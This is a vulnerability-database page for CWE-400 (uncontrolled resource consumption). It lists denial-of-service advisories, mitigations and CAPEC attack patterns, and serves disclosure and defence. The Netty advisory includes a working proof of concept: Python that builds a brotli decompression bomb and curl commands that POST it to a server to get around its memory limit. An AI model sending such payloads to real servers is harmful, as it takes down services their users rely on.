Common Weakness Enumeration

CWE-400

Discouraged

Uncontrolled Resource Consumption

Abstraction: Class · Status: Draft

The product does not properly control the allocation and maintenance of a limited resource.

5567 vulnerabilities reference this CWE, most recent first.

GHSA-F637-J435-XWHV

Vulnerability from github – Published: 2026-05-20 06:31 – Updated: 2026-05-20 06:31
VLAI
Details

NVIDIA Triton Inference Server contains a vulnerability in the DALI backend, where an attacker could cause uncontrolled resource consumption. A successful exploit of this vulnerability might lead to denial of service.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-24215"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-05-20T04:16:47Z",
    "severity": "MODERATE"
  },
  "details": "NVIDIA Triton Inference Server contains a vulnerability in the DALI backend, where an attacker could cause uncontrolled resource consumption. A successful exploit of this vulnerability might lead to denial of service.",
  "id": "GHSA-f637-j435-xwhv",
  "modified": "2026-05-20T06:31:53Z",
  "published": "2026-05-20T06:31:53Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-24215"
    },
    {
      "type": "WEB",
      "url": "https://nvidia.custhelp.com/app/answers/detail/a_id/5828"
    },
    {
      "type": "WEB",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-24215"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-F652-3262-CH4X

Vulnerability from github – Published: 2025-08-21 18:31 – Updated: 2025-08-21 21:32
VLAI
Details

An issue in the component /settings/localisation of Akaunting v3.1.18 allows authenticated attackers to cause a Denial of Service (DoS) via a crafted POST request.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2025-55521"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-08-21T17:15:31Z",
    "severity": "MODERATE"
  },
  "details": "An issue in the component /settings/localisation of Akaunting v3.1.18 allows authenticated attackers to cause a Denial of Service (DoS) via a crafted POST request.",
  "id": "GHSA-f652-3262-ch4x",
  "modified": "2025-08-21T21:32:04Z",
  "published": "2025-08-21T18:31:28Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-36802"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-55521"
    },
    {
      "type": "WEB",
      "url": "https://github.com/akaunting/akaunting"
    },
    {
      "type": "WEB",
      "url": "https://github.com/vityuasd/VulList/blob/main/vul_2.md"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-F659-JGFP-VCM8

Vulnerability from github – Published: 2022-05-24 17:33 – Updated: 2022-05-24 17:33
VLAI
Details

BAB TECHNOLOGIE GmbH eibPort V3 prior to 3.8.3 devices allow denial of service (Uncontrolled Resource Consumption) via requests to the lighttpd component.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2020-24573"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2020-11-12T18:15:00Z",
    "severity": "HIGH"
  },
  "details": "BAB TECHNOLOGIE GmbH eibPort V3 prior to 3.8.3 devices allow denial of service (Uncontrolled Resource Consumption) via requests to the lighttpd component.",
  "id": "GHSA-f659-jgfp-vcm8",
  "modified": "2022-05-24T17:33:57Z",
  "published": "2022-05-24T17:33:57Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-24573"
    },
    {
      "type": "WEB",
      "url": "https://psytester.github.io/CVE-2020-24573"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-F6HV-JMP6-3VWV

Vulnerability from github – Published: 2026-05-07 00:46 – Updated: 2026-05-14 20:41
VLAI
Summary
Netty: HttpContentDecompressor maxAllocation bypass when Content-Encoding set to br/zstd/snappy leads to decompression bomb DoS
Details

Summary

HttpContentDecompressor accepts a maxAllocation parameter to limit decompression buffer size and prevent decompression bomb attacks. This limit is correctly enforced for gzip and deflate encodings via ZlibDecoder, but is silently ignored when the content encoding is br (Brotli), zstd, or snappy. An attacker can bypass the configured decompression limit by sending a compressed payload with Content-Encoding: br instead of Content-Encoding: gzip, causing unbounded memory allocation and out-of-memory denial of service.

The same vulnerability exists in DelegatingDecompressorFrameListener for HTTP/2 connections.

Details

HttpContentDecompressor stores the maxAllocation value at construction time (HttpContentDecompressor.java:89) and uses it in newContentDecoder() to create the appropriate decompression handler.

For gzip/deflate, maxAllocation is forwarded to ZlibCodecFactory.newZlibDecoder():

// HttpContentDecompressor.java:101 — maxAllocation IS enforced
.handlers(ZlibCodecFactory.newZlibDecoder(ZlibWrapper.GZIP, maxAllocation))

ZlibDecoder.prepareDecompressBuffer() enforces this as a hard cap by setting the buffer's maxCapacity and throwing DecompressionException when the limit is reached:

// ZlibDecoder.java:68 — hard limit on buffer capacity
return ctx.alloc().heapBuffer(Math.min(preferredSize, maxAllocation), maxAllocation);
// ZlibDecoder.java:80 — throws when exceeded
throw new DecompressionException("Decompression buffer has reached maximum size: " + buffer.maxCapacity());

For brotli, zstd, and snappy, the decoders are created without any size limit:

// HttpContentDecompressor.java:120 — maxAllocation IGNORED
.handlers(new BrotliDecoder())

// HttpContentDecompressor.java:129 — maxAllocation IGNORED
.handlers(new SnappyFrameDecoder())

// HttpContentDecompressor.java:138 — maxAllocation IGNORED
.handlers(new ZstdDecoder())

BrotliDecoder has no maxAllocation parameter at all — there is no way to constrain its output. It streams decompressed data in chunks via fireChannelRead with no total limit.

ZstdDecoder() defaults to a 4MB maximumAllocationSize, but this only constrains individual buffer allocations, not total output. The decode loop (ZstdDecoder.java:100-114) creates new buffers and fires channelRead repeatedly, so total decompressed output is unbounded.

The identical pattern exists in DelegatingDecompressorFrameListener.newContentDecompressor() at lines 188-210 for HTTP/2.

PoC

  1. Configure a Netty HTTP server with decompression bomb protection:
pipeline.addLast(new HttpContentDecompressor(1048576)); // 1MB max
pipeline.addLast(new HttpObjectAggregator(1048576));     // 1MB max
  1. Generate a brotli-compressed bomb (~1KB compressed → 1GB decompressed):
import brotli
bomb = b'\x00' * (1024 * 1024 * 1024)  # 1GB of zeros
compressed = brotli.compress(bomb, quality=11)
with open('bomb.br', 'wb') as f:
    f.write(compressed)
# compressed size: ~1KB
  1. Send the bomb with gzip encoding (BLOCKED by maxAllocation):
# This is caught — ZlibDecoder enforces the 1MB limit
curl -X POST http://target:8080/api \
  -H 'Content-Encoding: gzip' \
  --data-binary @bomb.gz
# Result: DecompressionException thrown at 1MB
  1. Send the same bomb with brotli encoding (BYPASSES maxAllocation):
# This bypasses the limit — BrotliDecoder has no maxAllocation
curl -X POST http://target:8080/api \
  -H 'Content-Encoding: br' \
  --data-binary @bomb.br
# Result: Full 1GB decompressed into memory → OOM
  1. The same bypass works with Content-Encoding: zstd and Content-Encoding: snappy.

Impact

  • Denial of Service: An attacker can cause out-of-memory conditions on any Netty server that relies on maxAllocation for decompression bomb protection, by simply using a non-gzip content encoding.
  • False sense of security: Developers who explicitly configure maxAllocation to protect against decompression bombs are not actually protected for brotli, zstd, or snappy encodings. The API documentation implies all encodings are covered.
  • Trivial bypass: The attacker only needs to change one HTTP header (Content-Encoding: br instead of Content-Encoding: gzip) to circumvent the protection entirely.
  • Both HTTP/1.1 and HTTP/2: The vulnerability exists in both HttpContentDecompressor (HTTP/1.1) and DelegatingDecompressorFrameListener (HTTP/2).

Recommended Fix

Pass maxAllocation to all decoder constructors. For BrotliDecoder, which currently has no maxAllocation support, add the parameter:

HttpContentDecompressor.java — pass maxAllocation to all decoders:

// Line 120: BrotliDecoder — add maxAllocation support
.handlers(new BrotliDecoder(maxAllocation))

// Line 129: SnappyFrameDecoder — add maxAllocation support
.handlers(new SnappyFrameDecoder(maxAllocation))

// Line 138: ZstdDecoder — forward the configured maxAllocation
.handlers(new ZstdDecoder(maxAllocation))

DelegatingDecompressorFrameListener.java — same fix at lines 188-210.

BrotliDecoder — add maxAllocation parameter with the same semantics as ZlibDecoder.prepareDecompressBuffer(): set buffer maxCapacity and throw DecompressionException when the total decompressed output exceeds the limit.

SnappyFrameDecoder — add maxAllocation parameter with equivalent enforcement.

ZstdDecoder — ensure that when maxAllocation is set, total output across all buffers is bounded (not just per-buffer allocation size).

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.2.12.Final"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "io.netty:netty-codec-http"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.2.0.Alpha1"
            },
            {
              "fixed": "4.2.13.Final"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.2.12.Final"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "io.netty:netty-codec-http2"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.2.0.Alpha1"
            },
            {
              "fixed": "4.2.13.Final"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.1.132.Final"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "io.netty:netty-codec-http"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.1.133.Final"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.1.132.Final"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "io.netty:netty-codec-http2"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.1.133.Final"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-42587"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-07T00:46:35Z",
    "nvd_published_at": "2026-05-13T19:17:24Z",
    "severity": "HIGH"
  },
  "details": "## Summary\n\n`HttpContentDecompressor` accepts a `maxAllocation` parameter to limit decompression buffer size and prevent decompression bomb attacks. This limit is correctly enforced for gzip and deflate encodings via `ZlibDecoder`, but is silently ignored when the content encoding is `br` (Brotli), `zstd`, or `snappy`. An attacker can bypass the configured decompression limit by sending a compressed payload with `Content-Encoding: br` instead of `Content-Encoding: gzip`, causing unbounded memory allocation and out-of-memory denial of service.\n\nThe same vulnerability exists in `DelegatingDecompressorFrameListener` for HTTP/2 connections.\n\n## Details\n\n`HttpContentDecompressor` stores the `maxAllocation` value at construction time (`HttpContentDecompressor.java:89`) and uses it in `newContentDecoder()` to create the appropriate decompression handler.\n\nFor gzip/deflate, `maxAllocation` is forwarded to `ZlibCodecFactory.newZlibDecoder()`:\n\n```java\n// HttpContentDecompressor.java:101 \u2014 maxAllocation IS enforced\n.handlers(ZlibCodecFactory.newZlibDecoder(ZlibWrapper.GZIP, maxAllocation))\n```\n\n`ZlibDecoder.prepareDecompressBuffer()` enforces this as a hard cap by setting the buffer\u0027s `maxCapacity` and throwing `DecompressionException` when the limit is reached:\n\n```java\n// ZlibDecoder.java:68 \u2014 hard limit on buffer capacity\nreturn ctx.alloc().heapBuffer(Math.min(preferredSize, maxAllocation), maxAllocation);\n// ZlibDecoder.java:80 \u2014 throws when exceeded\nthrow new DecompressionException(\"Decompression buffer has reached maximum size: \" + buffer.maxCapacity());\n```\n\nFor brotli, zstd, and snappy, the decoders are created without any size limit:\n\n```java\n// HttpContentDecompressor.java:120 \u2014 maxAllocation IGNORED\n.handlers(new BrotliDecoder())\n\n// HttpContentDecompressor.java:129 \u2014 maxAllocation IGNORED\n.handlers(new SnappyFrameDecoder())\n\n// HttpContentDecompressor.java:138 \u2014 maxAllocation IGNORED\n.handlers(new ZstdDecoder())\n```\n\n`BrotliDecoder` has no `maxAllocation` parameter at all \u2014 there is no way to constrain its output. It streams decompressed data in chunks via `fireChannelRead` with no total limit.\n\n`ZstdDecoder()` defaults to a 4MB `maximumAllocationSize`, but this only constrains individual buffer allocations, not total output. The decode loop (`ZstdDecoder.java:100-114`) creates new buffers and fires `channelRead` repeatedly, so total decompressed output is unbounded.\n\nThe identical pattern exists in `DelegatingDecompressorFrameListener.newContentDecompressor()` at lines 188-210 for HTTP/2.\n\n## PoC\n\n1. Configure a Netty HTTP server with decompression bomb protection:\n\n```java\npipeline.addLast(new HttpContentDecompressor(1048576)); // 1MB max\npipeline.addLast(new HttpObjectAggregator(1048576));     // 1MB max\n```\n\n2. Generate a brotli-compressed bomb (~1KB compressed \u2192 1GB decompressed):\n\n```python\nimport brotli\nbomb = b\u0027\\x00\u0027 * (1024 * 1024 * 1024)  # 1GB of zeros\ncompressed = brotli.compress(bomb, quality=11)\nwith open(\u0027bomb.br\u0027, \u0027wb\u0027) as f:\n    f.write(compressed)\n# compressed size: ~1KB\n```\n\n3. Send the bomb with gzip encoding (BLOCKED by maxAllocation):\n\n```bash\n# This is caught \u2014 ZlibDecoder enforces the 1MB limit\ncurl -X POST http://target:8080/api \\\n  -H \u0027Content-Encoding: gzip\u0027 \\\n  --data-binary @bomb.gz\n# Result: DecompressionException thrown at 1MB\n```\n\n4. Send the same bomb with brotli encoding (BYPASSES maxAllocation):\n\n```bash\n# This bypasses the limit \u2014 BrotliDecoder has no maxAllocation\ncurl -X POST http://target:8080/api \\\n  -H \u0027Content-Encoding: br\u0027 \\\n  --data-binary @bomb.br\n# Result: Full 1GB decompressed into memory \u2192 OOM\n```\n\n5. The same bypass works with `Content-Encoding: zstd` and `Content-Encoding: snappy`.\n\n## Impact\n\n- **Denial of Service**: An attacker can cause out-of-memory conditions on any Netty server that relies on `maxAllocation` for decompression bomb protection, by simply using a non-gzip content encoding.\n- **False sense of security**: Developers who explicitly configure `maxAllocation` to protect against decompression bombs are not actually protected for brotli, zstd, or snappy encodings. The API documentation implies all encodings are covered.\n- **Trivial bypass**: The attacker only needs to change one HTTP header (`Content-Encoding: br` instead of `Content-Encoding: gzip`) to circumvent the protection entirely.\n- **Both HTTP/1.1 and HTTP/2**: The vulnerability exists in both `HttpContentDecompressor` (HTTP/1.1) and `DelegatingDecompressorFrameListener` (HTTP/2).\n\n## Recommended Fix\n\nPass `maxAllocation` to all decoder constructors. For `BrotliDecoder`, which currently has no `maxAllocation` support, add the parameter:\n\n**HttpContentDecompressor.java** \u2014 pass maxAllocation to all decoders:\n\n```java\n// Line 120: BrotliDecoder \u2014 add maxAllocation support\n.handlers(new BrotliDecoder(maxAllocation))\n\n// Line 129: SnappyFrameDecoder \u2014 add maxAllocation support\n.handlers(new SnappyFrameDecoder(maxAllocation))\n\n// Line 138: ZstdDecoder \u2014 forward the configured maxAllocation\n.handlers(new ZstdDecoder(maxAllocation))\n```\n\n**DelegatingDecompressorFrameListener.java** \u2014 same fix at lines 188-210.\n\n**BrotliDecoder** \u2014 add `maxAllocation` parameter with the same semantics as `ZlibDecoder.prepareDecompressBuffer()`: set buffer maxCapacity and throw `DecompressionException` when the total decompressed output exceeds the limit.\n\n**SnappyFrameDecoder** \u2014 add `maxAllocation` parameter with equivalent enforcement.\n\n**ZstdDecoder** \u2014 ensure that when `maxAllocation` is set, total output across all buffers is bounded (not just per-buffer allocation size).",
  "id": "GHSA-f6hv-jmp6-3vwv",
  "modified": "2026-05-14T20:41:29Z",
  "published": "2026-05-07T00:46:35Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/netty/netty/security/advisories/GHSA-f6hv-jmp6-3vwv"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42587"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/netty/netty"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Netty: HttpContentDecompressor maxAllocation bypass when Content-Encoding set to br/zstd/snappy leads to decompression bomb DoS"
}

GHSA-F6M2-PJ42-R7G3

Vulnerability from github – Published: 2023-10-10 12:32 – Updated: 2024-04-04 08:27
VLAI
Details

A vulnerability has been identified in SIMATIC CP 1604 (All versions), SIMATIC CP 1616 (All versions), SIMATIC CP 1623 (All versions), SIMATIC CP 1626 (All versions), SIMATIC CP 1628 (All versions). Affected devices insufficiently control continuous mapping of direct memory access (DMA) requests. This could allow local attackers with administrative privileges to cause a denial of service situation on the host. A physical power cycle is required to get the system working again.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2023-37195"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-10-10T11:15:11Z",
    "severity": "MODERATE"
  },
  "details": "A vulnerability has been identified in SIMATIC CP 1604 (All versions), SIMATIC CP 1616 (All versions), SIMATIC CP 1623 (All versions), SIMATIC CP 1626 (All versions), SIMATIC CP 1628 (All versions). Affected devices insufficiently control continuous mapping of direct memory access (DMA) requests. This could allow local attackers with administrative privileges to cause a denial of service situation on the host. A physical power cycle is required to get the system working again.",
  "id": "GHSA-f6m2-pj42-r7g3",
  "modified": "2024-04-04T08:27:54Z",
  "published": "2023-10-10T12:32:11Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-37195"
    },
    {
      "type": "WEB",
      "url": "https://cert-portal.siemens.com/productcert/pdf/ssa-784849.pdf"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-F6VJ-XX8J-FQMQ

Vulnerability from github – Published: 2022-05-24 19:03 – Updated: 2022-05-24 19:03
VLAI
Details

A malicious container image can consume an unbounded amount of memory when being pulled to a container runtime host, such as Red Hat Enterprise Linux using podman, or OpenShift Container Platform. An attacker can use this flaw to trick a user, with privileges to pull container images, into crashing the process responsible for pulling the image. This flaw affects containers-image versions before 5.2.0.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2020-1702"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-05-27T20:15:00Z",
    "severity": "MODERATE"
  },
  "details": "A malicious container image can consume an unbounded amount of memory when being pulled to a container runtime host, such as Red Hat Enterprise Linux using podman, or OpenShift Container Platform. An attacker can use this flaw to trick a user, with privileges to pull container images, into crashing the process responsible for pulling the image. This flaw affects containers-image versions before 5.2.0.",
  "id": "GHSA-f6vj-xx8j-fqmq",
  "modified": "2022-05-24T19:03:34Z",
  "published": "2022-05-24T19:03:34Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-1702"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.redhat.com/show_bug.cgi?id=1792796"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-F75Q-R8VF-45PJ

Vulnerability from github – Published: 2022-09-28 00:00 – Updated: 2025-05-21 18:33
VLAI
Details

On Realtek RTL8195AM devices before 284241d70308ff2519e40afd7b284ba892c730a3, the timer task can be locked when there are frequent and continuous Wi-Fi connection failures for the Soft AP mode.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2022-34326"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-09-27T23:15:00Z",
    "severity": "HIGH"
  },
  "details": "On Realtek RTL8195AM devices before 284241d70308ff2519e40afd7b284ba892c730a3, the timer task can be locked when there are frequent and continuous Wi-Fi connection failures for the Soft AP mode.",
  "id": "GHSA-f75q-r8vf-45pj",
  "modified": "2025-05-21T18:33:03Z",
  "published": "2022-09-28T00:00:17Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-34326"
    },
    {
      "type": "WEB",
      "url": "https://www.amebaiot.com/en/security_bulletin/cve-2022-34326"
    },
    {
      "type": "WEB",
      "url": "https://www.realtek.com/en"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-F7FM-5PQ5-RQ4P

Vulnerability from github – Published: 2024-05-17 12:31 – Updated: 2024-05-17 12:31
VLAI
Details

Uncontrolled resource consumption vulnerability in XAMPP Windows, versions 7.3.2 and earlier. This vulnerability exists when XAMPP attempts to process many incomplete HTTP requests, resulting in resource consumption and system crashes.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2024-5055"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-05-17T12:15:18Z",
    "severity": "HIGH"
  },
  "details": "Uncontrolled resource consumption vulnerability in XAMPP Windows, versions 7.3.2 and earlier. This vulnerability exists when XAMPP attempts to process many incomplete HTTP requests, resulting in resource consumption and system crashes.",
  "id": "GHSA-f7fm-5pq5-rq4p",
  "modified": "2024-05-17T12:31:01Z",
  "published": "2024-05-17T12:31:01Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-5055"
    },
    {
      "type": "WEB",
      "url": "https://www.incibe.es/en/incibe-cert/notices/aviso/vulnerability-uncontrolled-resource-consumption-xampp"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-F7JW-WP22-5CV8

Vulnerability from github – Published: 2022-05-24 17:41 – Updated: 2022-05-24 17:41
VLAI
Details

IBM Spectrum Protect Plus 10.1.0 through 10.1.7 could allow a remote user to inject arbitrary data iwhich could cause the serivce to crash due to excess resource consumption. IBM X-Force ID: 193659.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2020-5023"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-02-10T17:15:00Z",
    "severity": "HIGH"
  },
  "details": "IBM Spectrum Protect Plus 10.1.0 through 10.1.7 could allow a remote user to inject arbitrary data iwhich could cause the serivce to crash due to excess resource consumption. IBM X-Force ID: 193659.",
  "id": "GHSA-f7jw-wp22-5cv8",
  "modified": "2022-05-24T17:41:42Z",
  "published": "2022-05-24T17:41:42Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-5023"
    },
    {
      "type": "WEB",
      "url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/193659"
    },
    {
      "type": "WEB",
      "url": "https://www.ibm.com/support/pages/node/6410888"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-F7P4-6CQ7-WHMW

Vulnerability from github – Published: 2024-07-13 03:30 – Updated: 2026-03-09 21:31
VLAI
Details

A flaw was found in OpenJPEG. Maliciously constructed pictures can cause the program to enter a large loop and continuously print warning messages on the terminal.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2023-39327"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-07-13T03:15:09Z",
    "severity": "MODERATE"
  },
  "details": "A flaw was found in OpenJPEG. Maliciously constructed pictures can cause the program to enter a large loop and continuously print warning messages on the terminal.",
  "id": "GHSA-f7p4-6cq7-whmw",
  "modified": "2026-03-09T21:31:32Z",
  "published": "2024-07-13T03:30:37Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-39327"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:4128"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/security/cve/CVE-2023-39327"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2295812"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:L",
      "type": "CVSS_V3"
    }
  ]
}

Mitigation
Architecture and Design

Design throttling mechanisms into the system architecture. The best protection is to limit the amount of resources that an unauthorized user can cause to be expended. A strong authentication and access control model will help prevent such attacks from occurring in the first place. The login application should be protected against DoS attacks as much as possible. Limiting the database access, perhaps by caching result sets, can help minimize the resources expended. To further limit the potential for a DoS attack, consider tracking the rate of requests received from users and blocking requests that exceed a defined rate threshold.

Mitigation
Architecture and Design
  • Mitigation of resource exhaustion attacks requires that the target system either:
  • The first of these solutions is an issue in itself though, since it may allow attackers to prevent the use of the system by a particular valid user. If the attacker impersonates the valid user, they may be able to prevent the user from accessing the server in question.
  • The second solution is simply difficult to effectively institute -- and even when properly done, it does not provide a full solution. It simply makes the attack require more resources on the part of the attacker.
  • recognizes the attack and denies that user further access for a given amount of time, or
  • uniformly throttles all requests in order to make it more difficult to consume resources more quickly than they can again be freed.
Mitigation
Architecture and Design

Ensure that protocols have specific limits of scale placed on them.

Mitigation
Implementation

Ensure that all failures in resource allocation place the system into a safe posture.

CAPEC-147: XML Ping of the Death

An attacker initiates a resource depletion attack where a large number of small XML messages are delivered at a sufficiently rapid rate to cause a denial of service or crash of the target. Transactions such as repetitive SOAP transactions can deplete resources faster than a simple flooding attack because of the additional resources used by the SOAP protocol and the resources necessary to process SOAP messages. The transactions used are immaterial as long as they cause resource utilization on the target. In other words, this is a normal flooding attack augmented by using messages that will require extra processing on the target.

CAPEC-227: Sustained Client Engagement

An adversary attempts to deny legitimate users access to a resource by continually engaging a specific resource in an attempt to keep the resource tied up as long as possible. The adversary's primary goal is not to crash or flood the target, which would alert defenders; rather it is to repeatedly perform actions or abuse algorithmic flaws such that a given resource is tied up and not available to a legitimate user. By carefully crafting a requests that keep the resource engaged through what is seemingly benign requests, legitimate users are limited or completely denied access to the resource.

CAPEC-492: Regular Expression Exponential Blowup

An adversary may execute an attack on a program that uses a poor Regular Expression(Regex) implementation by choosing input that results in an extreme situation for the Regex. A typical extreme situation operates at exponential time compared to the input size. This is due to most implementations using a Nondeterministic Finite Automaton(NFA) state machine to be built by the Regex algorithm since NFA allows backtracking and thus more complex regular expressions.